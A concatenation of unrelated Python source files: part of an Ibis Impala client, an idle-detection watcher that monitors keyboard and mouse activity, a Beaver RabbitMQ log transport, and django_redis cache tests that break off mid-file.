Do not drop the table upon Ibis garbage collection / interpreter
shutdown
Returns
-------
parquet_table : ImpalaTable
"""
name, database = self._get_concrete_table_path(name, database,
persist=persist)
# If no schema provided, need to find some absolute path to a file in
# the HDFS directory
if like_file is None and like_table is None and schema is None:
file_name = self.hdfs._find_any_file(hdfs_dir)
like_file = pjoin(hdfs_dir, file_name)
stmt = ddl.CreateTableParquet(name, hdfs_dir,
schema=schema,
database=database,
example_file=like_file,
example_table=like_table,
external=external,
can_exist=False)
self._execute(stmt)
return self._wrap_new_table(name, database, persist)
def _get_concrete_table_path(self, name, database, persist=False):
if not persist:
if name is None:
name = '__ibis_tmp_{0}'.format(util.guid())
if database is None:
self._ensure_temp_db_exists()
database = options.impala.temp_db
return name, database
else:
if name is None:
raise com.IbisError('Must pass table name if persist=True')
return name, database
def _ensure_temp_db_exists(self):
# TODO: session memoize to avoid unnecessary `SHOW DATABASES` calls
name, path = options.impala.temp_db, options.impala.temp_hdfs_path
if not self.exists_database(name):
if self._hdfs is None:
print('Without an HDFS connection, certain functionality'
' may be disabled')
else:
self.create_database(name, path=path, force=True)
def _wrap_new_table(self, name, database, persist):
qualified_name = self._fully_qualified_name(name, database)
if persist:
t = self.table(qualified_name)
else:
schema = self._get_table_schema(qualified_name)
node = ImpalaTemporaryTable(qualified_name, schema, self)
t = self.table_expr_class(node)
# Compute number of rows in table for better default query planning
cardinality = t.count().execute()
set_card = ("alter table {0} set tblproperties('numRows'='{1}', "
"'STATS_GENERATED_VIA_STATS_TASK' = 'true')"
.format(qualified_name, cardinality))
self._execute(set_card)
self._temp_objects[id(t)] = t
return t
def text_file(self, hdfs_path, column_name='value'):
"""
Interpret text data as a table with a single string column.
Parameters
----------
Returns
-------
text_table : TableExpr
"""
pass
def insert(self, table_name, obj=None, database=None, overwrite=False,
partition=None, values=None, validate=True):
"""
Insert into existing table.
See ImpalaTable.insert for other parameters.
Parameters
----------
table_name : string
database : string, default None
Examples
--------
>>> table = 'my_table'
>>> con.insert(table, table_expr) # doctest: +SKIP
# Completely overwrite contents
>>> con.insert(table, table_expr, overwrite=True) # doctest: +SKIP
"""
table = self.table(table_name, database=database)
return table.insert(obj=obj, overwrite=overwrite, partition=partition,
values=values, validate=validate)
def load_data(self, table_name, path, database=None, overwrite=False,
partition=None):
"""
Wraps the LOAD DATA DDL statement. Loads data into an Impala table by
physically moving data files.
Parameters
----------
table_name : string
database : string, default None (optional)
"""
table = self.table(table_name, database=database)
return table.load_data(path, overwrite=overwrite,
partition=partition)
def drop_table(self, table_name, database=None, force=False):
"""
Drop an Impala table
Parameters
----------
table_name : string
database : string, default None (optional)
force : boolean, default False
Database may throw exception if table does not exist
Examples
--------
>>> table = 'my_table'
>>> db = 'operations'
>>> con.drop_table(table, database=db, force=True) # doctest: +SKIP
"""
statement = ddl.DropTable(table_name, database=database,
must_exist=not force)
self._execute(statement)
def truncate_table(self, table_name, database=None):
"""
Delete all rows from, but do not drop, an existing table
Parameters
----------
table_name : string
database : string, default None (optional)
"""
statement = ddl.TruncateTable(table_name, database=database)
self._execute(statement)
def drop_table_or_view(self, name, database=None, force=False):
"""
Attempt to drop a relation that may be a view or table
"""
try:
self.drop_table(name, database=database)
except Exception as e:
try:
self.drop_view(name, database=database)
except Exception:
raise e
def cache_table(self, table_name, database=None, pool='default'):
"""
Caches a table in cluster memory in the given pool.
Parameters
----------
table_name : string
database : string default None (optional)
pool : string, default 'default'
The name of the pool in which to cache the table
Examples
--------
>>> table = 'my_table'
>>> db = 'operations'
>>> pool = 'op_4GB_pool'
>>> con.cache_table('my_table', database=db, pool=pool) # noqa: E501 # doctest: +SKIP
"""
statement = ddl.CacheTable(table_name, database=database, pool=pool)
self._execute(statement)
def _get_table_schema(self, tname):
return self.get_schema(tname)
def _get_schema_using_query(self, query):
with self._execute(query, results=True) as cur:
# resets the state of the cursor and closes operation
cur.fetchall()
names, ibis_types = self._adapt_types(cur.description)
# per #321; most Impala tables will be lower case already, but Avro
# data, depending on the version of Impala, might have field names in
# the metastore cased according to the explicit case in the declared
# avro schema. This is very annoying, so it's easier to just conform on
# all lowercase fields from Impala.
names = [x.lower() for x in names]
return sch.Schema(names, ibis_types)
def create_function(self, func, name=None, database=None):
"""
Creates a function within Impala
Parameters
----------
func : ImpalaUDF or ImpalaUDA
Created with wrap_udf or wrap_uda
name : string (optional)
database : string (optional)
"""
if name is None:
name = func.name
database = database or self.current_database
if isinstance(func, udf.ImpalaUDF):
stmt = ddl.CreateUDF(func, name=name, database=database)
elif isinstance(func, udf.ImpalaUDA):
stmt = ddl.CreateUDA(func, name=name, database=database)
else:
raise TypeError(func)
self._execute(stmt)
def drop_udf(self, name, input_types=None, database=None, force=False,
aggregate=False):
"""
Drops a UDF
If only name is given, this will search
for the relevant UDF and drop it.
To delete an overloaded UDF, give only a name and force=True
Parameters
----------
name : string
input_types : list of strings (optional)
force : boolean, default False Must be set to true to
drop overloaded UDFs
database : string, default None
aggregate : boolean, default False
"""
if not input_types:
if not database:
database = self.current_database
result = self.list_udfs(database=database, like=name)
if len(result) > 1:
if force:
for func in result:
self._drop_single_function(func.name, func.inputs,
database=database,
aggregate=aggregate)
return
else:
raise Exception("More than one function " +
"with {0} found.".format(name) +
"Please specify force=True")
elif len(result) == 1:
func = result.pop()
self._drop_single_function(func.name, func.inputs,
database=database,
aggregate=aggregate)
return
else:
raise Exception("No function found with name {0}"
.format(name))
self._drop_single_function(name, input_types, database=database,
aggregate=aggregate)
def drop_uda(self, name, input_types=None, database=None, force=False):
"""
Drop aggregate function. See drop_udf for more information on the
parameters.
"""
return self.drop_udf(name, input_types=input_types, database=database,
force=force)
def _drop_single_function(self, name, input_types, database=None,
aggregate=False):
stmt = ddl.DropFunction(name, input_types, must_exist=False,
aggregate=aggregate, database=database)
self._execute(stmt)
def _drop_all_functions(self, database):
udfs = self.list_udfs(database=database)
for fnct in udfs:
stmt = ddl.DropFunction(fnct.name, fnct.inputs, must_exist=False,
aggregate=False, database=database)
self._execute(stmt)
udafs = self.list_udas(database=database)
for udaf in udafs:
stmt = ddl.DropFunction(udaf.name, udaf.inputs, must_exist=False,
aggregate=True, database=database)
self._execute(stmt)
def list_udfs(self, database=None, like=None):
"""
Lists all UDFs associated with given database
Parameters
----------
database : string
like : string for searching (optional)
"""
if not database:
database = self.current_database
statement = ddl.ListFunction(database, like=like, aggregate=False)
with self._execute(statement, results=True) as cur:
result = self._get_udfs(cur, udf.ImpalaUDF)
return result
def list_udas(self, database=None, like=None):
"""
Lists all UDAFs associated with a given database
Parameters
----------
database : string
like : string for searching (optional)
"""
if not database:
database = self.current_database
statement = ddl.ListFunction(database, like=like, aggregate=True)
with self._execute(statement, results=True) as cur:
result = self._get_udfs(cur, udf.ImpalaUDA)
return result
def _get_udfs(self, cur, klass):
def _to_type(x):
ibis_type = udf._impala_type_to_ibis(x.lower())
return dt.dtype(ibis_type)
tuples = cur.fetchall()
if len(tuples) > 0:
result = []
for tup in tuples:
out_type, sig = tup[:2]
name, types = _split_signature(sig)
types = _type_parser(types).types
inputs = []
for arg in types:
argm = _arg_type.match(arg)
var, simple = argm.groups()
if simple:
t = _to_type(simple)
inputs.append(t)
else:
t = _to_type(var)
inputs = rlz.listof(t)
# TODO
# inputs.append(varargs(t))
break
output = udf._impala_type_to_ibis(out_type.lower())
result.append(klass(inputs, output, name=name))
return result
else:
return []
def exists_udf(self, name, database=None):
"""
Checks if a given UDF exists within a specified database
Parameters
----------
name : string, UDF name
database : string, database name
Returns
-------
if_exists : boolean
"""
return len(self.list_udfs(database=database, like=name)) > 0
def exists_uda(self, name, database=None):
"""
Checks if a given UDAF exists within a specified database
Parameters
----------
name : string, UDAF name
database : string, database name
Returns
-------
if_exists : boolean
"""
return len(self.list_udas(database=database, like=name)) > 0
def compute_stats(self, name, database=None, incremental=False,
async=False):
"""
Issue COMPUTE STATS command for a given table
Parameters
----------
name : string
Can be fully qualified (with database name)
database : string, optional
incremental : boolean, default False
If True, issue COMPUTE INCREMENTAL STATS
"""
# TODO async + cancellation
if async:
raise NotImplementedError
maybe_inc = 'INCREMENTAL ' if incremental else ''
cmd = 'COMPUTE {0}STATS'.format(maybe_inc)
stmt = self._table_command(cmd, name, database=database)
self._execute(stmt)
def invalidate_metadata(self, name=None, database=None):
"""
Issue INVALIDATE METADATA command, optionally only applying to a
particular table. See Impala documentation.
Parameters
----------
name : string, optional
Table name. Can be fully qualified (with database)
database : string, optional
"""
stmt = 'INVALIDATE METADATA'
if name is not None:
stmt = self._table_command(stmt, name, database=database)
self._execute(stmt)
def refresh(self, name, database=None):
"""
Reload HDFS block location metadata for a table, for example after
ingesting data as part of an ETL pipeline. Related to INVALIDATE
METADATA. See Impala documentation for more.
Parameters
----------
name : string
Table name. Can be fully qualified (with database)
database : string, optional
"""
# TODO(wesm): can this statement be cancelled?
stmt = self._table_command('REFRESH', name, database=database)
self._execute(stmt)
def describe_formatted(self, name, database=None):
"""
Retrieve results of DESCRIBE FORMATTED command. See Impala
documentation for more.
Parameters
----------
name : string
Table name. Can be fully qualified (with database)
database : string, optional
"""
from ibis.impala.metadata import parse_metadata
stmt = self._table_command('DESCRIBE FORMATTED',
name, database=database)
query = ImpalaQuery(self, stmt)
result = query.execute()
# Leave formatting to pandas
for c in result.columns:
result[c] = result[c].str.strip()
return parse_metadata(result)
def show_files(self, name, database=None):
"""
Retrieve results of SHOW FILES command for a table. See Impala
documentation for more.
Parameters
----------
name : string
Table name. Can be fully qualified (with database)
database : string, optional
"""
stmt = self._table_command('SHOW FILES IN', name, database=database)
return self._exec_statement(stmt)
def list_partitions(self, name, database=None):
stmt = self._table_command('SHOW PARTITIONS', name, database=database)
return self._exec_statement(stmt)
def table_stats(self, name, database=None):
"""
Return results of SHOW TABLE STATS for indicated table. See also
ImpalaTable.stats
"""
stmt = self._table_command('SHOW TABLE STATS', name, database=database)
return self._exec_statement(stmt)
def column_stats(self, name, database=None):
"""
Return results of SHOW COLUMN STATS for indicated table. See also
ImpalaTable.column_stats
"""
stmt = self._table_command('SHOW COLUMN STATS', name,
database=database)
return self._exec_statement(stmt)
def _exec_statement(self, stmt, adapter=None):
query = ImpalaQuery(self, stmt)
result = query.execute()
if adapter is not None:
result = adapter(result)
return result
def _table_command(self, cmd, name, database=None):
qualified_name = self._fully_qualified_name(name, database)
return '{0} {1}'.format(cmd, qualified_name)
def _adapt_types(self, descr):
names = []
adapted_types = []
for col in descr:
names.append(col[0])
impala_typename = col[1]
typename = udf._impala_to_ibis_type[impala_typename.lower()]
if typename == 'decimal':
precision, scale = col[4:6]
adapted_types.append(dt.Decimal(precision, scale))
else:
adapted_types.append(typename)
return names, adapted_types
def write_dataframe(self, df, path, format='csv', async=False):
"""
Write a pandas DataFrame to indicated file path (default: HDFS) in the
indicated format
Parameters
----------
df : DataFrame
path : string
Absolute output path
format : {'csv'}, default 'csv'
async : boolean, default False
Not yet supported
Returns
-------
None (for now)
"""
from ibis.impala.pandas_interop import DataFrameWriter
if async:
raise NotImplementedError
writer = DataFrameWriter(self, df)
return writer.write_csv(path)
# ----------------------------------------------------------------------
# ORM-ish usability layer
class ScalarFunction(DatabaseEntity):
def drop(self):
pass
class AggregateFunction(DatabaseEntity):
def drop(self):
pass
class ImpalaTemporaryTable(ops.DatabaseTable):
def __del__(self):
try:
self.drop()
except com.IbisError:
pass
def drop(self):
try:
self.source.drop_table(self.name)
except ImpylaError:
# database might have been dropped
pass
def _validate_compatible(from_schema, to_schema):
if set(from_schema.names) != set(to_schema.names):
raise com.IbisInputError('Schemas have different names')
for name in from_schema:
lt = from_schema[name]
rt = to_schema[name]
if not lt.castable(rt):
raise com.IbisInputError('Cannot safely cast {0!r} to {1!r}'
.format(lt, rt))
def _split_signature(x):
name, rest = x.split('(', 1)
return name, rest[:-1]
_arg_type = re.compile('(.*)\.\.\.|([^\.]*)')
class _type_parser(object):
NORMAL, IN_PAREN = 0, 1
def __init__(self, value):
self.value = value
self.state = self.NORMAL
self.buf = six.StringIO()
self.types = []
for c in value:
self._step(c)
self._push()
def _push(self):
val = self.buf.getvalue().strip()
if val:
self.types.append(val)
self.buf = six.StringIO()
def _step(self, c):
if self.state == self.NORMAL:
if c == '(':
self.state = self.IN_PAREN
elif c == ',':
self._push()
return
elif self.state == self.IN_PAREN:
if c == ')':
self.state = self.NORMAL
self.buf.write(c)
|
afk.py | import platform
from threading import Event, Thread
from datetime import datetime, timedelta
import logging
from pymouse import PyMouse, PyMouseEvent
from pykeyboard import PyKeyboard, PyKeyboardEvent
from ..base import Watcher, Activity
def _repeat_trigger(waiter: Event, trigger: Event, timeout):
if waiter.wait(timeout+1):
trigger.set()
def _wait_for_either(a: Event, b: Event, timeout=None):
"""Waits for any one of two events to happen"""
# TODO: Reuse threads, don't recreate
trigger = Event()
ta = Thread(target=_repeat_trigger, args=(a, trigger, timeout))
tb = Thread(target=_repeat_trigger, args=(b, trigger, timeout))
ta.start()
tb.start()
# Now do the union waiting
return trigger.wait(timeout)
class AFKWatcher(Watcher):
"""Watches for keyboard & mouse activity and creates (not-)AFK events accordingly"""
identifier = "afk"
def __init__(self):
# TODO: (nice to have) Xbox 360 controller usage
Watcher.__init__(self)
self.mouse = PyMouse()
self.keyboard = PyKeyboard()
self.last_activity = None
self.now = datetime.now()
self._is_afk = True
self.afk_state_last_changed = datetime.now()
@property
def is_afk(self) -> bool:
return self._is_afk
@is_afk.setter
def is_afk(self, is_now_afk: bool):
if self._is_afk == is_now_afk:
logging.debug("Tried to set to what already was, this shouldn't happen")
return
self._is_afk = is_now_afk
logging.debug("Is " + ("now" if is_now_afk else "no longer") + " AFK")
end_event = self.last_activity if is_now_afk else self.now
self.dispatch_activity(Activity([("non-AFK" if is_now_afk else "AFK")], self.afk_state_last_changed, end_event))
self.afk_state_last_changed = end_event
def run(self):
self.now = datetime.now()
self.last_activity = self.now
self.afk_state_last_changed = self.now
keyboard_activity_event = Event()
mouse_activity_event = Event()
# OS X doesn't seem to like the KeyboardListener... segfaults
if platform.system() != "Darwin":
KeyboardListener(keyboard_activity_event).start()
else:
logging.warning("KeyboardListener is broken in OS X, will not use for detecting AFK state.")
MouseListener(mouse_activity_event).start()
while True:
if _wait_for_either(keyboard_activity_event, mouse_activity_event, timeout=1):
# Check if there has been any activity on the mouse or keyboard and if so,
# update last_activity to now and set is_afk to False if previously AFK
self.now = datetime.now()
if self.is_afk:
# If previously AFK, keyboard/mouse activity now indicates the user isn't AFK
self.is_afk = False
self.last_activity = self.now
keyboard_activity_event.clear()
mouse_activity_event.clear()
if not self.is_afk:
# If not previously AFK, check if enough time has passed for it to now count as AFK
self.now = datetime.now()
passed_time = self.now - self.last_activity
passed_afk = passed_time > timedelta(seconds=self.settings["timeout"])
if passed_afk:
self.is_afk = True
@property
def default_settings(self):
return {"timeout": 300}
class KeyboardListener(PyKeyboardEvent):
def __init__(self, keyboard_activity_event):
PyKeyboardEvent.__init__(self)
self.keyboard_activity_event = keyboard_activity_event
def tap(self, keycode, character, press):
#logging.debug("Clicked keycode: {}".format(keycode))
self.keyboard_activity_event.set()
class MouseListener(PyMouseEvent):
def __init__(self, mouse_activity_event):
PyMouseEvent.__init__(self)
self.mouse_activity_event = mouse_activity_event
def click(self, x, y, button, press):
#logging.debug("Clicked mousebutton: {}".format(button))
self.mouse_activity_event.set()
def move(self, x, y):
#logging.debug("Moved mouse to: {},{}".format(x, y))
self.mouse_activity_event.set()
|
rabbitmq_transport.py | # -*- coding: utf-8 -*-
from queue import queue
import pika
import ssl
from threading import Thread
import time
from beaver.transports.base_transport import BaseTransport
from beaver.transports.exception import TransportException
class RabbitmqTransport(BaseTransport):
def __init__(self, beaver_config, logger=None):
super(RabbitmqTransport, self).__init__(beaver_config, logger=logger)
self._rabbitmq_config = {}
config_to_store = [
'key', 'exchange', 'username', 'password', 'host', 'port', 'vhost',
'queue', 'queue_durable', 'ha_queue', 'exchange_type', 'exchange_durable',
'ssl', 'ssl_key', 'ssl_cert', 'ssl_cacert', 'timeout', 'delivery_mode', 'arguments'
]
for key in config_to_store:
self._rabbitmq_config[key] = beaver_config.get('rabbitmq_' + key)
if self._rabbitmq_config['arguments']:
self._rabbitmq_config['arguments'] = self.get_rabbitmq_args()
if self._rabbitmq_config['ha_queue']:
self._rabbitmq_config['arguments']['x-ha-policy'] = 'all'
self._connection = None
self._channel = None
self._count = 0
self._lines = Queue()
self._connection_ok = False
self._thread = None
self._is_valid = True
self._connect()
def get_rabbitmq_args(self):
res = {}
args = self._rabbitmq_config['arguments'].split(',')
for x in args:
k, v = x.split(':')
try:
# convert str to int if not a str
v = int(v)
except ValueError:
pass # is a str, not an int
res[k] = v
return res
def _on_connection_open(self,connection):
self._logger.debug("RabbitMQ: Connection Created")
self._channel = connection.channel(self._on_channel_open)
def _on_channel_open(self,unused):
self._logger.debug("RabbitMQ: Channel Created")
self._channel.exchange_declare(self._on_exchange_declareok,
exchange=self._rabbitmq_config['exchange'],
exchange_type=self._rabbitmq_config['exchange_type'],
durable=self._rabbitmq_config['exchange_durable'])
def _on_exchange_declareok(self,unused):
self._logger.debug("RabbitMQ: Exchange Declared")
self._channel.queue_declare(self._on_queue_declareok,
queue=self._rabbitmq_config['queue'],
durable=self._rabbitmq_config['queue_durable'],
arguments=self._rabbitmq_config['arguments'])
def _on_queue_declareok(self,unused):
self._logger.debug("RabbitMQ: Queue Declared")
self._channel.queue_bind(self._on_bindok,
exchange=self._rabbitmq_config['exchange'],
queue=self._rabbitmq_config['queue'],
routing_key=self._rabbitmq_config['key'])
def _on_bindok(self,unused):
self._logger.info("RabbitMQ: Connection OK.")
self._connection_ok = True
self._logger.debug("RabbitMQ: Scheduling regular message transport.")
self._connection.add_timeout(1, self._publish_message)
def _publish_message(self):
self._logger.debug("RabbitMQ: Looking for messages to transport...")
while self._connection_ok and not self._lines.empty():
line = self._lines.get()
if self._count == 10000:
self._logger.debug("RabbitMQ: Transport queue size: %s", self._lines.qsize())
self._count = 0
else:
self._count += 1
self._channel.basic_publish(
exchange=self._rabbitmq_config['exchange'],
routing_key=self._rabbitmq_config['key'],
body=line,
properties=pika.BasicProperties(
content_type='text/json',
delivery_mode=self._rabbitmq_config['delivery_mode']
))
if self._connection_ok:
self._logger.debug("RabbitMQ: No messages to transport. Sleeping.")
self._connection.add_timeout(1, self._publish_message)
else:
self._logger.info('RabbitMQ: Message publisher stopped.')
def _on_connection_open_error(self, non_used_connection=None, error=None):
self._connection_ok = False
self._logger.error('RabbitMQ: Could not open connection: %s', error)
def _on_connection_closed(self, connection, reply_code, reply_text):
self._connection_ok = False
self._logger.warning('RabbitMQ: Connection closed: %s %s', reply_code, reply_text)
def reconnect(self):
self._logger.debug("RabbitMQ: Reconnecting...")
self.interrupt()
self._thread = Thread(target=self._connection_start)
self._thread.start()
while self._thread.is_alive() and not self._connection_ok:
time.sleep(1)
if self._connection_ok:
self._is_valid = True
self._logger.info('RabbitMQ: Reconnect successful.')
else:
self._logger.warning('RabbitMQ: Reconnect failed!')
self.interrupt()
def _connection_start(self):
self._logger.debug("RabbitMQ: Connecting...")
try:
self._connection_ok = False
self._connection = pika.adapters.SelectConnection(
parameters=self._parameters,
on_open_callback=self._on_connection_open,
on_open_error_callback=self._on_connection_open_error,
on_close_callback=self._on_connection_closed
)
if not self._connection.is_closed:
self._connection.ioloop.start()
except Exception as e:
self._logger.error('RabbitMQ: Failed to connect: %s', e)
def _connect(self):
credentials = pika.PlainCredentials(
self._rabbitmq_config['username'],
self._rabbitmq_config['password']
)
ssl_options = {
'keyfile': self._rabbitmq_config['ssl_key'],
'certfile': self._rabbitmq_config['ssl_cert'],
'ca_certs': self._rabbitmq_config['ssl_cacert'],
'ssl_version': ssl.PROTOCOL_TLSv1
}
self._parameters = pika.connection.ConnectionParameters(
credentials=credentials,
host=self._rabbitmq_config['host'],
port=self._rabbitmq_config['port'],
ssl=self._rabbitmq_config['ssl'],
ssl_options=ssl_options,
virtual_host=self._rabbitmq_config['vhost'],
socket_timeout=self._rabbitmq_config['timeout']
)
self._thread = Thread(target=self._connection_start)
self._thread.start()
def callback(self, filename, lines, **kwargs):
if not self._connection_ok:
raise TransportException('RabbitMQ: Not connected or connection not OK')
timestamp = self.get_timestamp(**kwargs)
if kwargs.get('timestamp', False):
del kwargs['timestamp']
for line in lines:
try:
import warnings
with warnings.catch_warnings():
warnings.simplefilter('error')
body = self.format(filename, line, timestamp, **kwargs)
self._lines.put(body)
except UserWarning:
raise TransportException('Connection appears to have been lost')
except Exception as e:
try:
raise TransportException(e.strerror)
except AttributeError:
raise TransportException('Unspecified exception encountered')
def interrupt(self):
self._connection_ok = False
if self._connection:
self._connection.close()
self._connection = None
if self._thread:
self._thread.join()
self._thread = None
def unhandled(self):
return True
|
test_backend.py | import base64
import copy
import datetime
import threading
import time
import unittest
from datetime import timedelta
from unittest.mock import Mock, patch
from django.conf import settings
from django.contrib.sessions.backends.cache import SessionStore as CacheSession
from django.core.cache import DEFAULT_CACHE_ALIAS, cache, caches
from django.test import override_settings
from django.utils import timezone
from redis.exceptions import ConnectionError
import django_redis.cache
from django_redis import pool
from django_redis.client import DefaultClient, ShardClient, herd
from django_redis.serializers.json import JSONSerializer
from django_redis.serializers.msgpack import MSGPackSerializer
herd.CACHE_HERD_TIMEOUT = 2
def make_key(key, prefix, version):
return f"{prefix}#{version}#{key}"
def reverse_key(key):
return key.split("#", 2)[2]
class DjangoRedisConnectionStrings(unittest.TestCase):
def test_connection_strings(self):
connection_strings = [
"unix://tmp/foo.bar?db=1",
"redis://localhost/2",
"rediss://localhost:3333?db=2",
]
cf = pool.get_connection_factory(options={})
for connection_string in connection_strings:
with self.subTest(connection_string):
res = cf.make_connection_params(connection_string)
self.assertEqual(res["url"], connection_string)
class DjangoRedisCacheTestEscapePrefix(unittest.TestCase):
def setUp(self):
caches_setting = copy.deepcopy(settings.CACHES)
caches_setting["default"]["KEY_PREFIX"] = "*"
cm = override_settings(CACHES=caches_setting)
cm.enable()
self.addCleanup(cm.disable)
self.cache = caches["default"]
self.other = caches["with_prefix"]
def tearDown(self):
self.cache.clear()
self.other.clear()
def test_delete_pattern(self):
self.cache.set("a", "1")
self.other.set("b", "2")
self.cache.delete_pattern("*")
self.assertIs(self.cache.has_key("a"), False)
self.assertEqual(self.other.get("b"), "2")
def test_iter_keys(self):
if isinstance(self.cache.client, ShardClient):
self.skipTest("ShardClient doesn't support iter_keys")
self.cache.set("a", "1")
self.other.set("b", "2")
self.assertEqual(list(self.cache.iter_keys("*")), ["a"])
def test_keys(self):
self.cache.set("a", "1")
self.other.set("b", "2")
keys = self.cache.keys("*")
self.assertIn("a", keys)
self.assertNotIn("b", keys)
class DjangoRedisCacheTestCustomKeyFunction(unittest.TestCase):
def setUp(self):
caches_setting = copy.deepcopy(settings.CACHES)
caches_setting["default"]["KEY_FUNCTION"] = "test_backend.make_key"
caches_setting["default"]["REVERSE_KEY_FUNCTION"] = "test_backend.reverse_key"
cm = override_settings(CACHES=caches_setting)
cm.enable()
self.addCleanup(cm.disable)
self.cache = caches["default"]
def tearDown(self):
self.cache.clear()
def test_custom_key_function(self):
if isinstance(self.cache.client, ShardClient):
self.skipTest("ShardClient doesn't support get_client")
for key in ["foo-aa", "foo-ab", "foo-bb", "foo-bc"]:
self.cache.set(key, "foo")
res = self.cache.delete_pattern("*foo-a*")
self.assertTrue(bool(res))
keys = self.cache.keys("foo*")
self.assertEqual(set(keys), {"foo-bb", "foo-bc"})
# ensure our custom function was actually called
self.assertEqual(
{k.decode() for k in self.cache.client.get_client(write=False).keys("*")},
{"#1#foo-bc", "#1#foo-bb"},
)
class DjangoRedisCacheTests(unittest.TestCase):
def setUp(self):
self.cache = cache
def tearDown(self):
self.cache.clear()
def test_setnx(self):
# we should ensure there is no test_key_nx in redis
self.cache.delete("test_key_nx")
res = self.cache.get("test_key_nx")
self.assertIsNone(res)
res = self.cache.set("test_key_nx", 1, nx=True)
self.assertTrue(res)
# test that second set will have
res = self.cache.set("test_key_nx", 2, nx=True)
self.assertFalse(res)
res = self.cache.get("test_key_nx")
self.assertEqual(res, 1)
self.cache.delete("test_key_nx")
res = self.cache.get("test_key_nx")
self.assertIsNone(res)
def test_setnx_timeout(self):
# test that timeout still works for nx=True
res = self.cache.set("test_key_nx", 1, timeout=2, nx=True)
self.assertTrue(res)
time.sleep(3)
res = self.cache.get("test_key_nx")
self.assertIsNone(res)
# test that timeout will not affect key, if it was there
self.cache.set("test_key_nx", 1)
res = self.cache.set("test_key_nx", 2, timeout=2, nx=True)
self.assertFalse(res)
time.sleep(3)
res = self.cache.get("test_key_nx")
self.assertEqual(res, 1)
self.cache.delete("test_key_nx")
res = self.cache.get("test_key_nx")
self.assertIsNone(res)
def test_unicode_keys(self):
self.cache.set("ключ", "value")
res = self.cache.get("ключ")
self.assertEqual(res, "value")
def test_save_and_integer(self):
self.cache.set("test_key", 2)
res = self.cache.get("test_key", "Foo")
self.assertIsInstance(res, int)
self.assertEqual(res, 2)
def test_save_string(self):
self.cache.set("test_key", "hello" * 1000)
res = self.cache.get("test_key")
self.assertIsInstance(res, str)
self.assertEqual(res, "hello" * 1000)
self.cache.set("test_key", "2")
res = self.cache.get("test_key")
self.assertIsInstance(res, str)
self.assertEqual(res, "2")
def test_save_unicode(self):
self.cache.set("test_key", "heló")
res = self.cache.get("test_key")
self.assertIsInstance(res, str)
self.assertEqual(res, "heló")
def test_save_dict(self):
if isinstance(
self.cache.client._serializer, (JSONSerializer, MSGPackSerializer)
):
# JSONSerializer and MSGPackSerializer use the isoformat for
# datetimes.
now_dt = datetime.datetime.now().isoformat()
else:
now_dt = datetime.datetime.now()
test_dict = {"id": 1, "date": now_dt, "name": "Foo"}
self.cache.set("test_key", test_dict)
res = self.cache.get("test_key")
self.assertIsInstance(res, dict)
self.assertEqual(res["id"], 1)
self.assertEqual(res["name"], "Foo")
self.assertEqual(res["date"], now_dt)
def test_save_float(self):
float_val = 1.345620002
self.cache.set("test_key", float_val)
res = self.cache.get("test_key")
self.assertIsInstance(res, float)
self.assertEqual(res, float_val)
def test_timeout(self):
self.cache.set("test_key", 222, timeout=3)
time.sleep(4)
res = self.cache.get("test_key")
self.assertIsNone(res)
def test_timeout_0(self):
self.cache.set("test_key", 222, timeout=0)
res = self.cache.get("test_key")
self.assertIsNone(res)
def test_timeout_parameter_as_positional_argument(self):
self.cache.set("test_key", 222, -1)
res = self.cache.get("test_key")
self.assertIsNone(res)
self.cache.set("test_key", 222, 1)
res1 = self.cache.get("test_key")
time.sleep(2)
res2 = self.cache.get("test_key")
self.assertEqual(res1, 222)
self.assertIsNone(res2)
# nx=True should not overwrite expire of key already in db
self.cache.set("test_key", 222, None)
self.cache.set("test_key", 222, -1, nx=True)
res = self.cache.get("test_key")
self.assertEqual(res, 222)
def test_timeout_negative(self):
self.cache.set("test_key", 222, timeout=-1)
res = self.cache.get("test_key")
self.assertIsNone(res)
self.cache.set("test_key", 222, timeout=None)
self.cache.set("test_key", 222, timeout=-1)
res = self.cache.get("test_key")
self.assertIsNone(res)
# nx=True should not overwrite expire of key already in db
self.cache.set("test_key", 222, timeout=None)
self.cache.set("test_key", 222, timeout=-1, nx=True)
res = self.cache.get("test_key")
self.assertEqual(res, 222)
def test_timeout_tiny(self):
self.cache.set("test_key", 222, timeout=0.00001)
res = self.cache.get("test_key")
self.assertIn(res, (None, 222))
def test_set_add(self):
self.cache.set("add_key", "Initial value")
res = self.cache.add("add_key", "New value")
self.assertIs(res, False)
res = cache.get("add_key")
self.assertEqual(res, "Initial value")
res = self.cache.add("other_key", "New value")
self.assertIs(res, True)
def test_get_many(self):
self.cache.set("a", 1)
self.cache.set("b", 2)
self.cache.set("c", 3)
res = self.cache.get_many(["a", "b", "c"])
self.assertEqual(res, {"a": 1, "b": 2, "c": 3})
def test_get_many_unicode(self):
self.cache.set("a", "1")
self.cache.set("b", "2")
self.cache.set("c", "3")
res = self.cache.get_many(["a", "b", "c"])
self.assertEqual(res, {"a": "1", "b": "2", "c": "3"})
def test_set_many(self):
self.cache.set_many({"a": 1, "b": 2, "c": 3})
res = self.cache.get_many(["a", "b", "c"])
self.assertEqual(res, {"a": 1, "b": 2, "c": 3})
def test_set_call_empty_pipeline(self):
if isinstance(self.cache.client, ShardClient):
self.skipTest("ShardClient doesn't support get_client")
pipeline = self.cache.client.get_client(write=True).pipeline()
key = "key"
value = "value"
with patch.object(pipeline, "set") as mocked_set:
self.cache.set(key, value, client=pipeline)
if isinstance(self.cache.client, herd.HerdClient):
default_timeout = self.cache.client._backend.default_timeout
herd_timeout = (default_timeout + herd.CACHE_HERD_TIMEOUT) * 1000
herd_pack_value = self.cache.client._pack(value, default_timeout)
mocked_set.assert_called_once_with(
self.cache.client.make_key(key, version=None),
self.cache.client.encode(herd_pack_value),
nx=False,
px=herd_timeout,
xx=False,
)
else:
mocked_set.assert_called_once_with(
self.cache.client.make_key(key, version=None),
self.cache.client.encode(value),
nx=False,
px=self.cache.client._backend.default_timeout * 1000,
xx=False,
)
def test_delete(self):
self.cache.set_many({"a": 1, "b": 2, "c": 3})
res = self.cache.delete("a")
self.assertTrue(bool(res))
res = self.cache.get_many(["a", "b", "c"])
self.assertEqual(res, {"b": 2, "c": 3})
res = self.cache.delete("a")
self.assertFalse(bool(res))
@patch("django_redis.cache.DJANGO_VERSION", (3, 1, 0, "final", 0))
def test_delete_return_value_type_new31(self):
"""delete() returns a boolean instead of int since django version 3.1"""
self.cache.set("a", 1)
res = self.cache.delete("a")
self.assertEqual(type(res), bool)
self.assertTrue(res)
res = self.cache.delete("b")
self.assertEqual(type(res), bool)
self.assertFalse(res)
@patch("django_redis.cache.DJANGO_VERSION", (3, 0, 1, "final", 0))
